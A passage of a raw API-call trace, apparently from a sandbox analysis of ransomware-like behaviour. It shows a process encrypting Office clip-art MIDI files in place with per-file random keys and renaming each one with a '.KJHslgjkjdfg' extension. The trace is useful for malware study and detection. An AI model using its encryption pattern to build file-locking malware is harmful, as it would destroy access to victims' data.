[0186.187] GetProcessHeap () returned 0x2a0000 [0186.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.187] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.187] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.187] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.189] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.189] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.189] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.189] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.190] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.190] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.190] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.190] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.190] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1750, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1750, lpOverlapped=0x0) returned 1 [0186.191] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1750, dwBufLen=0x1750 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1750) returned 1 [0186.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.191] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1750, lpOverlapped=0x0) returned 1 [0186.191] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.191] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.191] SetEndOfFile (hFile=0x114) returned 1 [0186.194] GetProcessHeap () returned 0x2a0000 [0186.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.194] GetProcessHeap () returned 0x2a0000 [0186.194] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.194] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid.kjhslgjkjdfg")) returned 1 [0186.196] CloseHandle (hObject=0x114) returned 1 [0186.196] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1540, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OCEAN_01.MID", cAlternateFileName="")) returned 1 [0186.196] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.198] GetProcessHeap () returned 0x2a0000 [0186.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.198] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.198] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.198] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.198] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.198] GetProcessHeap () returned 0x2a0000 [0186.198] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.198] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.198] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.198] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.201] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.201] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.201] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.201] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.201] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.201] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.201] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.201] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1540, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1540, lpOverlapped=0x0) returned 1 [0186.202] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1540, dwBufLen=0x1540 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1540) returned 1 [0186.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.202] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1540, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1540, lpOverlapped=0x0) returned 1 [0186.202] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.202] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1614, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.202] SetEndOfFile (hFile=0x114) returned 1 [0186.205] GetProcessHeap () returned 0x2a0000 [0186.205] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.205] GetProcessHeap () returned 0x2a0000 [0186.205] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.205] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OCEAN_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ocean_01.mid.kjhslgjkjdfg")) returned 1 [0186.207] CloseHandle (hObject=0x114) returned 1 [0186.207] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x19f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OUTDR_01.MID", cAlternateFileName="")) returned 1 [0186.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.209] GetProcessHeap () returned 0x2a0000 [0186.209] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.209] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.209] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.209] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0186.211] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.211] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.211] GetProcessHeap () returned 0x2a0000 [0186.211] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.211] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.211] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.212] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.212] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.212] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.212] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.212] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.212] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.212] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.212] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.212] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19f4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x19f4, lpOverlapped=0x0) returned 1 [0186.213] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a00, dwBufLen=0x1a00 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a00) returned 1 [0186.213] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.213] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a00, lpOverlapped=0x0) returned 1 [0186.214] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.214] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.214] SetEndOfFile (hFile=0x114) returned 1 [0186.216] GetProcessHeap () returned 0x2a0000 [0186.216] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.216] GetProcessHeap () returned 0x2a0000 [0186.217] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.217] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\OUTDR_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\outdr_01.mid.kjhslgjkjdfg")) returned 1 [0186.218] CloseHandle (hObject=0x114) returned 1 [0186.218] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1a6b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PAPER_01.MID", cAlternateFileName="")) returned 1 [0186.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.219] GetProcessHeap () returned 0x2a0000 [0186.219] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.220] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.220] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.220] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0186.222] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.222] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.222] GetProcessHeap () returned 0x2a0000 [0186.222] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.222] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.222] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.222] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.222] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.222] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.222] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.222] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.223] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.223] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.223] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.223] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.223] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1a6b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1a6b, lpOverlapped=0x0) returned 1 [0186.224] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a70, dwBufLen=0x1a70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1a70) returned 1 [0186.224] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.224] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1a70, lpOverlapped=0x0) returned 1 [0186.224] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.224] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1b44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.224] SetEndOfFile (hFile=0x114) returned 1 [0186.227] GetProcessHeap () returned 0x2a0000 [0186.227] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.227] GetProcessHeap () returned 0x2a0000 [0186.227] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.227] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PAPER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\paper_01.mid.kjhslgjkjdfg")) returned 1 [0186.229] CloseHandle (hObject=0x114) returned 1 [0186.229] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x195b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PARNT_01.MID", cAlternateFileName="")) returned 1 [0186.229] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.230] GetProcessHeap () returned 0x2a0000 [0186.230] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.230] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.230] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.230] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0186.233] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.233] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.233] GetProcessHeap () returned 0x2a0000 [0186.233] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.233] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.233] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.233] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.233] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.233] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.233] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.233] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.233] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, 